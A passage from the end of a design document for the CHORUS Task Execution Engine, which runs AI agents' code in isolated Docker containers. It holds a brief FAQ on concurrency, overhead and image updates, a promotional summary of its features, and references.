| A: Yes! Each task gets its own isolated container:
 | |
| ```go
 | |
| // Safe to run concurrently
 | |
| go engine.ExecuteTask(ctx, rustTask)
 | |
| go engine.ExecuteTask(ctx, pythonTask)
 | |
| go engine.ExecuteTask(ctx, nodeTask)
 | |
| ```
 | |
| 
 | |
| **Q: What's the overhead compared to native execution?**
 | |
| 
 | |
| A: Minimal after warmup:
 | |
| - First command: +400-850ms (container startup)
 | |
| - Subsequent commands: +10-15ms per command
 | |
| - Memory: +150MB overhead
 | |
| - CPU: +5% overhead
 | |
| 
 | |
| For long-running builds (minutes), overhead is negligible.
 | |
| 
 | |
| **Q: How do I update tool versions in images?**
 | |
| 
 | |
| A: Images are versioned and immutable. To update:
 | |
| 1. Build new image version (e.g., `chorus-rust-dev:1.1.0`)
 | |
| 2. Push to Docker Hub
 | |
| 3. Update `ImageVersion` constant in `images.go`
 | |
| 4. Old versions remain available for reproducibility
 | |
| 
 | |
| ---
 | |
| 
 | |
| ## Summary: Why This Approach is Revolutionary
 | |
| 
 | |
| ### The Promise
 | |
| 
 | |
| CHORUS Task Execution Engine delivers on a critical promise: **AI agents can write, build, test, and execute code safely at scale.**
 | |
| 
 | |
| ### Key Innovations
 | |
| 
 | |
| 1. **Zero Configuration Security**
 | |
|    - No SSH keys, no passwords, no firewall rules
 | |
|    - Security by default, not as an afterthought
 | |
| 
 | |
| 2. **Multi-Language Support Out-of-the-Box**
 | |
|    - 7 pre-configured environments
 | |
|    - Automatic detection and selection
 | |
|    - Consistent workspace structure
 | |
| 
 | |
| 3. **API-First Design**
 | |
|    - Direct Docker SDK communication
 | |
|    - No subprocess spawning
 | |
|    - Structured error handling
 | |
| 
 | |
| 4. **Resource Predictability**
 | |
|    - Guaranteed CPU, memory, disk limits
 | |
|    - No "noisy neighbor" problems
 | |
|    - Fair scheduling across tasks
 | |
| 
 | |
| 5. **Auditability**
 | |
|    - Every command logged
 | |
|    - Complete resource tracking
 | |
|    - Reproducible execution history
 | |
| 
 | |
| ### The Bottom Line
 | |
| 
 | |
| Traditional approaches force you to choose between:
 | |
| - **Security** (complex SSH, VMs, permission systems)
 | |
| - **Performance** (native execution, no isolation)
 | |
| - **Simplicity** (manual tool installation, dependency hell)
 | |
| 
 | |
| **CHORUS gives you all three.**
 | |
| 
 | |
| ---
 | |
| 
 | |
| ## References
 | |
| 
 | |
| - **Source Code**: `/home/tony/chorus/project-queues/active/CHORUS/pkg/execution/`
 | |
| - **Docker SDK**: https://pkg.go.dev/github.com/docker/docker
 | |
| - **Image Repository**: https://gitea.chorus.services/tony/chorus-dev-images
 | |
| - **Docker Hub**: https://hub.docker.com/r/anthonyrawlins/
 | |
| - **Security References**:
 | |
|   - Linux Namespaces: https://man7.org/linux/man-pages/man7/namespaces.7.html
 | |
|   - Seccomp: https://docs.docker.com/engine/security/seccomp/
 | |
|   - AppArmor: https://docs.docker.com/engine/security/apparmor/
 | |
| 
 | |
| ---
 | |
| 
 | |
| **Document Version**: 1.0
 | |
| **Last Updated**: 2025-09-30
 | |
| **Author**: CHORUS Development Team
 | |
| **Maintained By**: Tony Rawlins (tony@chorus.services)
 |